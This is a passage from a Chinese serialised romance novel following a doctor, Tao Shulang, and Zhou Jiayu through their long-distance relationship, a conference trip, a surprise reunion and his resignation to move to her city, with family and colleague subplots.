周元明来江城办事并不是他见自己的原因,而是他逐渐意识到他不能和周家瑜关系太僵,也需要不定期联络一下感情,之前他的二胎儿子梦已经破灭了,自己差点就替别人养儿子,现在他年纪不小了,现实是他现在只有周家瑜一个孩子。 午饭吃到尾声,周元明看了看周家瑜说,“你自己有时间看看车,有车上班和回家都方便。” 接着他又加了一句,“看中哪款,爸到时候给你拿钱。” 周家瑜心想今天太阳真的从西边出来了,她已经对周元明没有什么期待了,所以乍一听他说要给自己钱还有点受宠若惊。 她点了点头,“好的爸,我会看看。” 其实周家瑜有自己喜欢的车型,在大学时,有时候她和陶舒朗一起去压马路,有一次他们坐在路边,看着来来往往的车辆,突然来了看车的兴致,最后发现他们两个都喜欢外形流畅的黑色车。 当时周家瑜还记下了车子的型号,回宿舍之后她又想起这件事,又搜了搜那款车,真的是越看越喜欢。 现在陶舒朗就开着那款车。 年少时的梦想实现,人总会有更大的欲望想要去满足。 周家瑜和周元明一起去坐地铁,两个人要坐的线路不一样,周家瑜看着他上了地铁,跟自己挥了挥手,地铁带着他消失在自己眼前。 几分钟后周家瑜坐上地铁,中午人不多,还有空位置,她想周元明没问自己在哪里住,怎么住,提到住可能又会牵扯到买房子的问题,她记得还是不久前,周元明带着李荣去看房子,是他给还未出世的儿子买的。 周家瑜出了站口走路回公司,在路上她跟彭月华说了今天周元明来江城和自己吃饭的事情,彭月华在电话那头说,“他现在是真想明白了还是只是嘴上说说?” 为自己女儿争取该有的利益,她的语气很坚定,“你看他到时候拿不拿钱,别听他怎么说,看他怎么做,你放心,如果他说话不算数,我去和他谈。” 母女两个还通话的时候有新信息的声音。 结束通话,周家瑜点开手机,信息是陶舒朗发的。 他解释到,“下班到家后补觉,这会刚醒。” 接着他回答周家瑜的问题,“收到了,是一套酒杯。” 周家瑜点开图片,是一套精致的酒杯,和自己的餐具是同一个品牌。 “我的是一套餐具。” 陶舒朗很快就回复,“嗯,你收着就行。” 他的话让周家瑜觉得自己这礼物收得堂堂正正。 收老板礼物还真是头一次,不都是反着来吗,反正人情是陶舒朗那边的,“那你替我谢谢他。” “嗯,你放心。” 陶舒朗在那边问,“要不要视频?” “我这会准备要午休了。” 两个人一般会在晚上视频,中午视频的时候很少,顶多就是发语音或者打电话听听对方的声音。 公司管理比较人性化,有专门的午休室,中午午休让周家瑜想起幼儿园排排睡的场景,李牧之前曾问周家瑜中午在午休室睡的习不习惯。 他自己有专门的办公室,连着一间小卧室,周家瑜告诉他,自己睡得很习惯。公司租下办公楼的一整层,有些办公室上面贴着铭牌,但是从来没见过人进出,听周围同事讲,公司还有其他投资人,但是很低调,从来没有露过面。 周家瑜之前说让李牧像对待普通员工那样对待自己,但是实际上他好像并不是这样执行的,她生怕自己说睡的不习惯,李牧会给自己一把新房间的钥匙。 作为牛马,她有普通牛马的觉悟。 第38章 第38章春夜 周家瑜还没去医院的时候经期到来。 以前她的经期是每个月固定的日期来,现在是每个月都来,但是时间不固定。 她下班后去超市买卫生巾,每次用的都是固定的几款,这时候陶舒朗打来电话,“在超市吗?” 因为超市里放着熟悉的背景音乐,陶舒朗在江城的时候也经常和周家瑜一起逛超市。 “嗯。” “要买些什么?” “女生用的。” 陶舒朗那边嗯了一声,他让她到家后给他发信息,周家瑜手里拎着东西还没到家的时候她又收到了陶舒朗的信息,“你这个月经期是不是推迟了?” 陶舒朗竟然记得自己的经期。 “是推迟了几天,你在记我的经期吗?” “对。” “你自己平时也要记录。” 周家瑜心想,我妈都没记过我的经期。 那边又发来一条信息,“你会介意吗?” “介意倒没有,就是有点意外,这是医生职业病吗?” “不是,我又不是妇产科医生。” 到家后两个人跟平时一样视频聊天,今天陶舒朗不上夜班,所以可以视频,周家瑜这边在做晚饭,陶舒朗那边已经吃完了。 周家瑜在厨房里忙碌,手一直没停,做起事来有条不紊。 他看着手机屏幕上的周家瑜,突然意识到两个人自从重逢以来一直是聚少离多,过年时两个人整天可以见面的时光是如此的珍贵。 虽然过去没几天,但是他非常怀念过年时的那段时光。 下午陶舒朗看到工作群里的通知,说后天要去外地参加研讨会,还有一张研讨会海报,上面列了做报告的人员名单,大群里这会没人说话,但是几个人的小群里倒是发言踊跃。 这次有几位货真价实的大佬发言,不是沽名钓誉的那种。 这次去参加培训的人员有陶舒朗,培训时间是这周六到下周三。 陶舒朗本来计划这周末去江城,这下计划全泡汤了,虽然计划他还没跟周家瑜说,但是他自己心里怅然若失。 和她多待一会怎么就这么难啊。 这次研讨会有人欢喜有人愁,关正明这次也去,他就很开心,出差培训对医生来说就是一次度假,没有要值的夜班,没有要改的医嘱。 这次去的城市是个有名的旅游城市,关正明一直想去那里看看来着,这下好了,借着公差可以去旅游,自己还不用花钱,真的是赚到。 他们一行人周五从关城出发,当天下午到达吴城,陶舒朗和关正明住同一间房,理想的状态当然是一人一间,但公差,医院也要考虑成本控制。 陶舒朗知道和别人同住不方便,起码和周家瑜晚上视频聊天不方便,他不想外人在场的情况下和她视频聊天,感觉毫无隐私可言。 医院来培训的几个人有年轻的有年纪大的,可能都吃不到一块去,所以大家商议晚饭各自解决,反正有餐补,吃什么自己来定。 早餐酒店有自助,午饭在会场解决,参会费有点高,所以午饭规格应该不低。 陶舒朗已经和周家瑜说了自己要去吴城参加研讨会的事情,刚才到了酒店之后他给周家瑜发信息报平安。 周家瑜给他发了一个吴城旅游攻略,点开一看里面密密麻麻罗列得很详细,接着周家瑜给他发了几个推荐的地方。 陶舒朗看着那几个地点,问她,“你之前来过吗?” “对呀,算是我的个人攻略。” “什么时候来的?” 周家瑜回了一个年份。 时间已经是两个人分手之后了。 陶舒朗顿了顿,然后打过去几个字,“嗯,这几个地方我都会去转转。” 因为周家瑜来过这个城市,所以现在这个城市有了不一样的意义,来到她自己来过的城市,要去她去 过的地方。 这会关正明开门进来,他刚才去一楼大厅上卫生间,因为他这会突然有了包袱,他最近经常便秘,所以经常上完大号后气味一言难尽,还经久不散,如果是他自己住当然无所谓,现在有同事在,并且这个同事还是陶舒朗,他突然就不想用房间内的卫生间。 陶舒朗这会正在看手机,神情很专注。 关正明告诉他,“有两个同事正在一楼大堂里看乒乓球比赛,和别人一起看大屏就是比自己在家看电视有感觉。” “你怎么不和他们一起看?” 关正明挠了挠头,“他们两个好像有要商量的事情,我去就成灯泡了。” 在医院,不同科室之间的互相较劲和抢病人已经是不成文的规定。 陶舒朗点了点头。 在吴城的几天陶舒朗参加培训之余一一去了周家瑜去过的地方,自己站在同一个地方,看向周围,想象当时周家瑜有什么感受。 念着一个人就想做她曾经做过的事情。 陶舒朗还自拍了照片,把手机放远,设置好时间,拍完之后他发给了周家瑜。 周家瑜正在泡脚,现在正微微出汗,她以为又是陶舒朗发来的什么相同景点照片,打开放大一看原来是他的自拍照。 他站在古城墙边上,拍摄视角没有仰拍或者俯拍,也没有构图规避人群,他就是站在那里,眼睛直接看着镜头,周家瑜说不上这张照片哪里好,就是给她一种震撼的感觉。 两个人一直是相隔几天再见面,这一次周末本来是该见面的时间,他人却出差去了。 周家瑜以为自己已经习惯了这种聚少离多的模式,此时此刻看到他发给自己的照片才知道自己其实很想他。 是真的很想那种,想到身心都发热。 她记得自己当时也在城墙上拍了照片,她现在这款手机用了有大约四年的时间,现在同系列已经更新换代好几次了,她觉得自己这款还能用,也不卡。 所以手机里照片很多,她在文件夹里找到了一张当时拍的照片,选中并点击了发送。 陶舒朗的这张照片是冬季,周家瑜的照片是在春季。 春夜有微风,一阵花雨袭来,背景是美到失语和不真实的场景,镜头中的周家瑜眼含笑意看着镜头,唇角漾出了挠人的梨涡。 陶舒朗站在城墙上,身后人来人往,周遭的一切通通被他隔绝在外,他放大那张照片看着她的面庞,看了一遍又一遍,他看不够。 这是过去的周家瑜在跟自己说话。 接着来了一条微信,他点开,是周家瑜发来的,“我很想你。” 陶舒朗心跳如雷,手指有点微颤地打了几个字,“我也很想你,我一直都很想你。” 之前的三年是不能言说的念想,现在是可以告诉对方的思念。 眼前是一片灯火璀璨的古城,陶舒朗心里是可以说出口的爱欲。 培训结束陶舒朗回去时没和同事们一起回关城,而是坐上了去江城的高铁。 下了高铁他打的直接去了周家瑜的住处,他没跟周家瑜说自己要来,想要给她一个惊喜,他喜欢看周家瑜脸上因为惊喜而绽放的光彩。 到了周家瑜住处,在楼下看家里黑漆漆一片。 她不在家。 陶舒朗有备用钥匙,他先进了屋,为了避免惊喜变成惊吓,他把行李箱放在了玄关处,这样周家瑜一回来就能看到。 几天高强度的学习加上旅途奔波,陶舒朗洗漱完不久后就躺在床上睡着了。 虽然很累,但是他一直想着周家瑜,她没回家他就会觉得有事压在心头,人当然在自己身边最放心,但是他也不会打扰她,除了和自己在一起,她有她自己的生活。 周家瑜今天晚上吃完饭就出门散步去了,她喜欢在冬天的晚上散步,冬天夜晚像是提前来临的梦境,她穿着暖和的外套,把自己包裹起来,在街道上慢慢地走,一个人住,时间就慢了下来,她不着急回家,慢悠悠地穿过一丛丛的人流。 在外面溜达够了再朝家的方向走去,回家的路上她在想,到家要洗一个长长的热水澡。 周家瑜出门之前会把家里的灯都关上,省电又环保,有时候也会开着客厅里的一盏罩灯,她打开房门,家里有亮光,她明明记得走之前所有的灯都关上了。 想到这,她脊背发麻。 她上前走了一步,脚碰到什么东西,这时候她才注意到门口的行李箱,款式和颜色她都很熟悉,是陶舒朗的。 一分钟之内心情就像过山车,她心跳突然加速,客厅里没人,厨房里也没有动静,她想立刻见到他,她停下脚步,因为脚上还穿着出门的鞋子。 弯腰脱掉鞋子之后她踩着拖鞋走去卧室,床上果然有人正在睡觉。 躺得横平竖直,睡得悄无声息。 周家瑜怕吵到他,连呼吸都放轻了,丝毫没有意识到自己正贪婪地看着他的睡脸。 她想伸手去摸,又担心把他摸醒。 她感觉自己这会好满足,像终于开到一个自己喜欢很久的盲盒,只不过这个盲盒是人。 她看了好一会,把自己的手伸出,手指张开,隔空覆盖住了他的脸。 鼻腔内呼吸的是他的气味,那些纠缠致密的记忆不经意一个个地涌出来,还没企图镇压的时候记忆就已经泛滥了,周家瑜深呼吸了一下,她需要去洗个澡冷静一下。 浴室内,周家瑜站在花洒下,她仰着头,光投射在她的身体上,明媚的暖光,还有蒸腾的袅袅水汽,周遭都很安静,卧室里睡着一个男人。 洗完澡,她站在镜子前认真地观察自己的身体,是由内到外的白皙透亮,哪里比较肉,哪里想要长肌肉变得更有线条一些,对于自己的身体她很了解。 陶舒朗醒来的时候屋里还是很安静,他看了看身旁,还是空的,他拿过手机看了看时间,九点五十六分。 走出卧室,客厅里的罩灯熄灭了,是他睡前给她留的灯。 这会书房里有亮光。 陶舒朗走到门口,看见周家瑜正坐在临窗的书桌前,背朝着自己,正低头写着什么东西。 只一眼,陶舒朗就再次被治愈了,世界纷扰,他的心很安宁。 第39章 第39章不满足 陶舒朗走上前,周家瑜没有察觉,仍在低头写着东西。 她的字很好看,一直都很有风骨。 陶舒朗把手放在她的肩膀上,她才知道他醒了,很安然地向后靠在他的身上,头在他身上蹭了蹭。 书房里点着香薰,书桌上有果盘和热茶,陶舒朗刚睡醒口渴,端起她的杯子把里面的花茶一饮而尽。 周家瑜听着他在自己身侧咕咚咕咚喝水的声音,拿起桌上的恒温杯又给他续了一杯。 周家瑜站起来伸了伸懒腰,看着他把第二杯水喝完,他边喝水眼睛边看着周家瑜,两个人的眼神从平静逐渐变成胶着。 放下杯子后他又上前一步,把周家瑜困在自己和写字台中间。 她避无可避,身后的空间越来越小,只能把自己投入他的怀里。 两个人密实地抱在一起,一个低头一个仰头,眼睛紧紧地看着彼此,像是要把对方放到自己的眼睛里。 周家瑜刚想说话,陶舒朗跟她讲,“抱紧我。” 下一秒,他就抱着她在这间小屋里转了两三圈,周家瑜下意识地尖叫一声,然后更紧地抱住他。 因为被人抱起来,整个人突然离地的滋味既让人害怕又让人兴奋。 转圈停下后周家瑜用手去捶陶舒朗的胸膛抗议自己受 到了点惊吓,只见他有点喘,脸上全是笑意,眼睛一眨不眨地看着自己,眼神越来越明亮。 到口的“抱怨”变成了问题,“什么时候回来的?” 陶舒朗异口同声,“想我没?” 两个人相视而笑。 他先说,“七点多回来的,”他也回答了她没问出的问题,“想偷偷回来给你一个惊喜。” 周家瑜撩起眼皮看了他一眼,眼波横生,“是惊喜变惊吓。” 说完拧了他一下,力道很轻,像挠在心上的痒。 人在眼前,陶舒朗忍不住细细地看她的眉眼,又问,“想我了吗?” 周家瑜点头,坦诚,“很想。” 他笑,“嗯,我也想你,”后面又加了两个字,“很想。” 表达思念的同时他的手指在她脸上细细地描绘着,像是在确认她是不是真的在自己身旁。 周家瑜双唇微张,含住了他的手指,她的舌尖若即若离地舐着他的指腹。 一拉一拽间两个人坐在书房那张窄窄的床榻上,当初陶舒朗生病曾躺过的那张床。 他的嘴唇碾着她的双唇,有越来越激烈的架势。 他感觉自己对她的思念让自己在见不到她时的空虚和终于见到后的慰藉之间不断地摇摆,时常像是有一只蛊虫在血液中游走,在不断折磨啃噬着自己。 现在把她抱在自己怀中,他的占有欲和破坏欲在不断地攀升,他全身肌肉紧绷,正处于失控的边缘。 周家瑜感觉自己被人束缚住,接着就是被人啃噬,陶舒朗也是这么做的,他吮吻的力道很大。 她这会感觉自己的体温越来越高,她的手颤抖着去触摸陶舒朗身后带有凉意的墙壁,想去缓解这种血液正在灼烧的眩晕,墙壁上还贴着自己住进来后精心挑选的壁纸,结果就差一点点的时候她的手被人捉住,接着双手搂在他的脖子上。 今天的他有些霸道。 她周遭铺天盖地的全是他的气息,他吮着她的耳垂,亲完牙齿接着微扣轻轻地去磨,他太会了,太知道她的弱点了。 周家瑜慢慢地变成了他的俘虏,全身不受控制地打着哆嗦。 她用手去推陶舒朗,结果可想而知,彼此的身体还是纹丝不动,他背靠着墙壁借力,她的身后箍着他铜墙铁壁式的胳膊。 陶舒朗边亲她边腾出一只手解着自己睡衣上的扣子,解开后把她的手按在自己的胸肌上,他的皮肤像是有安抚作用,她挣扎的动作止住了,但是身体深处产生了更难耐的燥意。 她的手指在肌肤上胡乱抓挠着,让他脸上的表情更难耐煎熬。 他在她耳边低声耐心地哄着她,说一些让人面红耳赤,一离开嘴唇就会直接钻到心里的情话,她的脸在他的脖颈处不断地磨蹭又离开。 某一时刻,她的身体像绷到极致的弓弦,他像一个优秀的箭手,两个人都突然静止不动,也仅仅就是那一刻,接着世界驰骋得像整个颠倒过来。 接着自我意识烟消云散 陶舒朗第二天上午在回关城的路上接到陶合敬的电话。 他所在的医院比较注重工作留痕,只要是出去培训就会发,还要注重质量和时效性,陶合敬平时一直在关注着陶舒朗医院的。 上午他正好看到刚刚更新的研讨会那一篇,本来他放大图片是要去找陶舒朗,结果竟然发现了一位老同学。 那位同学现在正在江城上班,陶合敬在网上搜了搜,发现丁英去年去的江城。 一线城市的医院当然要比关城的好。 当年陶舒朗毕业时,有好几家医院伸出了橄榄枝,但最后陶舒朗选了关城的医院,因为关宴青当时住在那里。 作为父亲,陶合敬当然希望陶舒朗跟自己在同一个城市,但正是作为父亲,他也希望陶舒朗可以有更好的工作平台。 江城作为省会是一线城市,资源和机会比在关城都要好。 陶合敬当然没跟陶舒朗说自己准备去找老同学叙旧,只问了问他的近况,让陶舒朗有时间回家里吃饭。 陶舒朗此时正坐在高铁上,现在不是节假日,也不是周末,整节车厢内只有寥寥几个人,列车一路奔驰,他抬头看了看车速,每小时三百多公里。 他离周家瑜的物理距离越来越远。 他清醒地意识到自己最近真的是越来越不喜欢别离,昨天两个人一起过夜,都深切地感受到他们真的是很想念对方。 以至于两个人真的拥抱在一起的时候,那种圆满和舒适感真的刻骨难忘。 人真的是不容易满足的动物,之前两个人是分手后陌路人的状态,现在是双城的长距离恋爱,其实相比以前已经是好了很多倍了。 然而,陶舒朗发现自己现在想要的越来越多,只想天天能见到她,热恋中不断分开对谁来说都是一种折磨。 为了避免让自己陷入这种钻牛角尖的情绪中,他去浏览自己关注的那几个医学。 其中有两个是陶舒朗在大学时就关注的。 同级的同学不少都回了老家的医院上班,刚一毕业的时候大家当然都希望留在一线城市,但理想和现实不是一回事。 大城市僧多肉少,对普通医学生来说留在自己家乡反而被现实证明是比较好的选择。 陶舒朗转头看了看窗外一闪而过的景致,他低头继续看着手机屏幕,他一直是比较珍惜时间的人。 意识到自己这个类似有点强迫症的习惯,他又发现了他自己行为上的矛盾之处。 他跟周家瑜分手之后,三年内自己跟她一点联系也没有。 他不敢碰触现实生活中的她,就在网络世界中去搜寻她存在的蛛丝马迹。 周家瑜分手后朋友圈永远都是三天可见,她之前也是很少发朋友圈的人,在网上搜她的名字,她所在的城市,她所在的公司都没有她的信息。 分手后的她杳无音信。 这时候手机里来了一条信息,是陶合敬发来的:有合适的对象就带回家来一起吃饭。 陶舒朗没有回复这条信息。 对于当年的分手,他始终都有芥蒂,对父母有,对自己更是。 当年的他活在应该里,而不是本性里,所以他并不快乐。 现在他很快乐,一想到周家瑜他就快乐到不敢相信。 几天之后,晚上快下班的时候,这会科室里人还比较齐全,有同事在说培训出去几天作息规律,回来轮到夜班时,尤其是晚上好不容易眯一会快要进入深度睡眠,被电话吵醒的那一下,感觉立马可以去世。 关正明附和,说自己现在是严重缺觉,他负责的病人看上去状态都比自己好。 陶舒朗耳边是不断的交谈声,他写完病程,低头看了看电脑右下角的时间,跟大家打了招呼后下了楼。 出了骨科大楼一百多米就是医院的南门,不远处路边停着一辆车,车牌号还是刚刚发到陶舒朗手机上的。 陶合敬在路边站着,陶舒朗走上前,叫了一声爸,又看了看他的车,“新车不错,什么时候提的?” 陶合敬看着眼前只在年前见过的儿子,陶舒朗年前去给陶合敬送了节礼,婉拒了大年夜回家吃饭的邀请。 他当时跟自己说,“爸,你有了新的家庭,我也有自己的生活,其实这样都挺好。” 陶舒朗问他的新车,陶合敬当然开心,“现在不是有置换政策,年前提的。” 陶合敬带着陶舒朗去了他们之前经常去的一家饭馆。 陶舒朗下车后看着门口的招牌,上一次来这里吃饭真的是很久之前的事情了,久到他都记不清店名了。 “没想到这家店一点也没变。” 陶合敬拍了拍他的肩膀,两个人进门之后就被服务妥帖的店员带去了包间。 点餐的时候陶合敬还记得陶舒朗之前爱吃的那几样菜,陶舒朗从中选了两道,陶合敬又加了几道,点完餐后,热情周到的服务员离开后带上了门,屋里突然静得有点尴尬。 陶舒朗今年三十一了,在陶合敬的心中,他不管多大永远都是自己的小孩,今天一看陶舒朗,坐在那里宁和内敛, 恍然间竟然觉得他越来越像一个大人了。 陶合敬再婚后过得不错,今年还生了一个女儿,脸上带着放松又有点疲惫的气质。 陶舒朗看了看他的头发,没有秃头的迹象,就是白发多了几根。 陶合敬找到拍的一段女儿的视频给陶舒朗看,陶舒朗对视频里同父异母的小婴儿没什么感触,就是觉得她看上去好小的样子。 看到别人的小孩,出于礼节,都要赞赏上几句,“她很可爱。” 陶合敬很开心,陶舒朗坐在那里想,周家瑜小时候是什么样子,肯定是超级可爱。 陶合敬今天和陶舒朗一起吃饭,一是想他了,二是有更重要的事情要办。 他问陶舒朗,“你有没有去江城发展的打算?” 第40章 第40章告别 吃完饭陶舒朗回医院取了自己的车,开车回家的路上他想起陶合敬临走之前跟自己说的话,“毕竟是人生大事,还需要你自己拿主意。” 一周之后,陶舒朗给医院递交了辞职报告。 听到消息,之前一直比较欣赏他的朴主任请他去办公室谈心。 主要意思就是挽留他,让他再考虑考虑,“小陶,你工作和科研能力都很强,咱们医院也是市级三甲,在这里好好工作以后会大有作为。” 朴主任以为他是为了职业上更好的发展才提出辞职,“大城市的三甲听上去名号唬人,实际上工作起来工作量让人吃不消。” 说着讲起自己当年在一线三甲医院上班的经历,说那时候虽然年轻,但也不抗造,每天下班脸色都熬得煞白乌青。 为了保命,他做了两三年赶紧从那里辞职了。 陶舒朗知道对方说的是肺腑之言,他点了点头坦白,“我辞职是因为个人原因,不是因为工作。” 朴主任听到他的话回过味来,意味深长地笑了,“你对象不在关城吗?” 陶舒朗喜欢别人这么说,你对象,不知道周家瑜在场听到后会是什么反应,他表情也跟着柔和起来。 “说实话,我现在已经是大龄未婚男青年了,需要抓住机会。” 朴主任头一次听到他这么调侃自己,拍了拍他的肩膀哈哈大笑起来。 提交辞职报告只是第一步,还有不少流程要走,陶舒朗在医院还需要继续工作一段时间。 这天换掉工作服下班之后,他从后备箱中拿出果篮,转身去了心内科住院部。 上次和他一起出差培训的关正明,前几天因为爆发性心肌炎住院,陶舒朗进门的时候他正躺在病床上输液,旁边的陪护是一个朴实的中年妇女。 看他进来,那个朴实的妇女立即有点局促地站了起来,看年纪好像是关正明的姐姐。 她冲陶舒朗笑了笑转身就出去了,陶舒朗冲她点点头。 陶舒朗觉得她有点面熟,之前她好像带着小孩来医院找关正明,留下小孩后就匆匆离开了,不一会小孩子就大声嚷嚷说要喝可乐吃薯片,关正明就带他下楼去医院门口超市买零食去了。 这会关正明面容憔悴,看上去元气大伤身体虚弱,丝毫也没有往常的精气神,他看了看陶舒朗手里的果篮,医生买水果也专业,对症下药,他表示谢意,“还让你专门跑一趟。” 陶舒朗放下果篮,从里面抽出一张卡片递给他,是一家有名水产店的充值卡,“出院后记得多吃点深海鱼。” 关正明自嘲地一笑,“这次生病突然觉得什么都是虚的,只有自己的身体最重要。” 关正明工作能力一直很强,他整理的病历一直是科室里的模版,接收病人的数量也一直名列前茅,这次心肌炎差不多就是长时间的劳累过度导致。 关正明和陶舒朗一起进的医院,平时在工作上关正明有点私底下跟他较劲的意思,就是不能比他差,陶舒朗虽然多少察觉到一些,但并不在意。 这会关正明躺在病床上,看到陶舒朗站在自己床边,突然就有了倾诉的欲望,他们是一起进的医院,比其他同事多一份情分在。 刚才出去的人是关正明的大姐,关正明家里三个小孩,两女一男,父母务农,因为孩子多,成长的过程中家里经济条件一直都不好,所以两个姐姐读完高中就去大城市打工去了。 关正明成绩一直不错,一直读到研究生,他上本科的时候学费还是两个姐姐打工给他凑的。 现在他当了医生,成了全家人的骄傲,工资在关城算是高收入,平时也节俭。 他现在还是未婚,除了比工资低不少的房贷外,其他也没有什么开支,所以就有人羡慕他的生活,暗地里打他的主意。 这个人就是他的大姐夫,大姐夫人懒主意多,去年上半年种葡萄因为管理不善赔得血本无归,还欠下不少外债。 大姐前几天来找关正明,支支吾吾地说明来意,意思是让关正明以自己的名义去银行贷一笔款项出来,借给大姐夫周转用。 关正明看着自己敬爱的姐姐像是被一个男人附体,嘴巴张开说出来的话是别人的意志。 他自己因为念书的事,一直觉得亏欠两个姐姐,自己有读书的机会,她们却没有,自己上大学期间她们也一直接济自己。 然而贷款给别人用这件事真的没得商量,工作劳累,生活中的亲情压迫,精神上一直得不到放松,所以他现在躺在病床上。 陶舒朗沉默地听完,没有打断他,他觉得关正明只是需要一个倾诉的出口,这个倾诉对象是谁不重要,恰巧自己这会在场。 陶舒朗因为个人的经历对亲情很难评判,有时候它让人觉得温暖,有时候就是一把锋利的刀刃。 临走前他跟关正明说,“现在你最重要的事是休息和静养,其余的暂时不要想,想了也有害无利。” 走之前他又交代,“有事给我打电话。” 下楼回到车上陶舒朗接到周家瑜的电话,“你下班了吗?” “马上到家。” “到家后记得去我家给花浇水。” 过年之后,周家瑜房子的打扫通风还有给花浇水的任务都落在了陶舒朗身上,周家瑜跟彭月华说了,不让她再来回跑,彭月华心领神会,她自己乐得清闲。 陶舒朗到家后第一件事是去对门,通了风浇了花,还把地扫了一遍,他在客厅沙发上坐了一会,他知道周家瑜和奶奶感情很好,她对这套房子很有感情。 大学毕业后回到关城,家里已经在一个不错的小区给他买了一套房子,是以后当婚房用的,陶舒朗在那里没住过一天,因为觉得那里本来是他和周家瑜要一起住的地方,结果两个人分手了,周家瑜虽然没见过那套房子,但是那套房子却跟她有着千丝万缕的关系。 后来有一段时间他路过那个小区都觉得不舒服。 再后来就是他找到周家瑜小区的物业,做了不少工作买下了周家瑜奶奶家对门的房子,看房到买下装修,他自己一直在等着偶遇她。 后来终于遇见她了。 确认是她站在自己跟前,叫出她名字的那一刹那他觉得自己全身都在颤抖。 也许是心有灵犀,手机上显示周家瑜发来视频邀请,一点开视频,周家瑜看到他身后的沙发和壁纸。 “你这会在我家吗?” “嗯,在这坐一会。” “今天上班很累吗?” 陶舒朗突然想起来自己还没告诉周家瑜辞职的事情,“我今天提交了辞职报告。” 周家瑜听到后有些惊讶,随即又想通其中的曲折,“你要来江城吗?” “嗯。” “所以你马上就要失业了吗?” 陶舒朗眼里都是笑意,他看着镜头中的她,她长得漂亮他一直都知道的,漂亮的人有很多,但是让他心动又心痒的就只有她一个。 陶舒朗故意在这边想了想,“好像是。” 周家瑜表情还很淡定,“那你要不要 来投奔我?” 听到后他心跳加速,“可以吗?” “当然可以。” “但是,”她说话故意大喘气,“如果我们吵架了,你就要睡书房。” 陶舒朗立马想起之前两个人在书房窄床上胡闹的那一场,问她,“你呢,到时候趴在我身上和我一起睡吗?” 周家瑜这会在那头脸有点可疑的发热,幸好是视频,脸红看不清,但脸上的羞涩是看的见的。 陶舒朗眼睛盯着她看,还是喜欢,一直都喜欢。 陶舒朗把自己辞职的事情告诉了李牧,李牧在那边欢呼,“我就知道这一天很快就会到来,我的朋友。”后面几个字洋腔怪调。 如果有人来公司跟自己分担工作,他当然开心,他问陶舒朗以后有什么打算。 “你还是继续做医生吗?” “我先休息一阵子。” 陶舒朗研究生时曾在一线三甲医院实习,满负荷工作起来是什么样子他很清楚,他辞职的原因是现在工作和生活不能平衡。 李牧在那边吐槽他,“几年过去,遇上周家瑜你还是没变。” 他毫不留情地又加了一句,“还是恋爱脑啊。” 陶舒朗被说恋爱脑并没有任何不适,他说,“我和她已经浪费了三年的时间。” 听到这李牧恍然,“也是。” 生活有这样一个人,让你所有的决策都是围绕着她转,也是一种幸福,李牧也曾经有过,不过现在那个人已经为人母,他只能在回忆中缅怀一下这种珍贵的经历。 “不过你现在也有不上班的实力,有钱人家出情种这话在你身上也适用。” “承你吉言。” 周末周家瑜回关城,陶舒朗说要带她去个地方,他们去了陶舒朗之前不愿意经过的那个小区。 打开房门里面空荡荡的,家具什么的都没有,空气中弥漫着灰尘的气味,陶舒朗牵着周家瑜的手,两个人一间间地看过去。 阳台面积很大,周家瑜站在阳台上朝对面楼看,因为这个小区在关城比较有名,所以入住率不低,房源也一直很抢手,她看着对面楼外面密密麻麻的空调外机。 陶舒朗在后面环住她,跟她交代,“这原本是家里给我准备的婚房,我一直想带你来看看,算是我的执念。” “嗯,我来看了。” 陶舒朗低头嗅了嗅她的头发,“嗯,你能来我很开心。” 接着他说起他的打算,他要把这套房子处理掉。 他没告诉周家瑜的是,关宴青在生病期间,已经想到自己死后陶合敬会再婚的情形,如果他婚后再生孩子,那么财产分割对陶舒朗会非常不利。 所以她去世之前把财产方面都分割清楚处理妥当了,她知道陶合莉一直很喜欢陶舒朗,就把她也叫到自己病床前,让她在自己死后监督陶合敬履行曾经的承诺。 陶舒朗知道周家瑜应该不喜欢自己提到母亲。 房子看完之后两个人离开,这个第一次来的房子又被重新锁住。 房门紧闭,他们跟过去告别。【你现在阅读的是魔蝎小说 moxiexs】 第 41 章【VIP】 第41章 第41章大总管 上周关正明身体恢复正常上班,从同事那里知道陶舒朗马上要离职的消息,他们两个工作间隙在天台上聊了一会。 关正明在天台上吸了一只烟,陶舒朗记得他之前是不抽的。 关正明解释,“就是想试试,差点死掉,突然觉得自己有很多想做的事,对的不对的,都想试试。” 他接着说,“说实话,我真羡慕你,有说走就走的勇气。” 对于关正明来说,医生这个职业不仅是一种谋生的手段,更是一种身份上的认同,周围的熟人尤其是老家的人一听说自己是医生,都觉得它是个了不得的职业。 他对自己的定位也很清楚,他家世和身高都拿不出手,唯一拿出手的就是职业和工作能力。 所以这次即使差点死掉,他也从来没有要辞职的念头,他要巴着这个职业,因为他不知道自己从医院出去之后还能做哪些工作,年纪三十多,再失业,无异于社会性自。杀。 更不要提为了成为医生这些年的那些沉没成本。 他看了看旁边的陶舒朗,人好像比之前更精神了,他不想承认陶舒朗帅气的,虽然他确实比自己长得好看那么一丢丢。 在他眼中,陶舒朗条件上没有什么硬伤。 生病了一场,他以为自己已经看开了很多,这会才发现好像也没有看开很多。 气。 等交谈后才得知他主要是因为和女朋友异地才辞职。 更气了。 以前原本以为他们两个都是单身狗,现在才知道只有自己是单身狗。 生病后的单身狗心理更脆弱一些。 尤其是陶舒朗说起女朋友时嘴角不自觉带着的笑意,妈的,他们感情一定很好 陶舒朗合上密码锁,走到电梯口摁了向下的按键,电梯门照出他挺拔的身影。 到了地下车库他启动车子,准备去公司接周家瑜下班,小区距离周家瑜公司不远,车程大约十五分钟,陶舒朗坐在车里想,需要问下物业还有没有停车位在卖。 最好是两个靠在一起的停车位。 陶舒朗现在还是正常上班的状态,今天他正好休班,所以昨天晚上从关城开车过来,今天早上他送周家瑜去上班,一路上周家瑜都在补觉,因为昨天晚上两个人忍不住又闹到半夜。 陶舒朗看她坐在副驾上,有点困倦的样子,知道自己昨夜确实有点过分了,他在车上给她道歉,说以后不会影响她正常休息。 当时周家瑜闭着眼睛,连眼睛都没睁,只平静地回复了一句,“这会你不要说话,男人的嘴,骗人的鬼。” 陶舒朗听到后摸了摸鼻子。 开车来到公司附近,来早了一会,陶舒朗停好车走进一家甜品店,进去之后转了转,拍了一张照片发给周家瑜。 过了两分钟,周家瑜那边发来消息,“我要吃黑森林蛋糕!” 陶舒朗拎着打包好的甜品坐在靠窗的位置,他点了两杯咖啡,自己喝着一杯拿铁,咖啡店里的人不少,三三两两闲坐着,脸上带着自然的笑意。 周围所有的说话声都变成了背景音,他不觉得吵,甚至有点安心。 一直在医院上班,超长的上班待机时间,让他感觉大部分时候都在跟世界脱节,只在自己的小圈子里像个陀螺转个不停,之前去咖啡店,等咖啡的间隙他也许都在低头看手机,丝毫没有注意到店里其他人的状态。 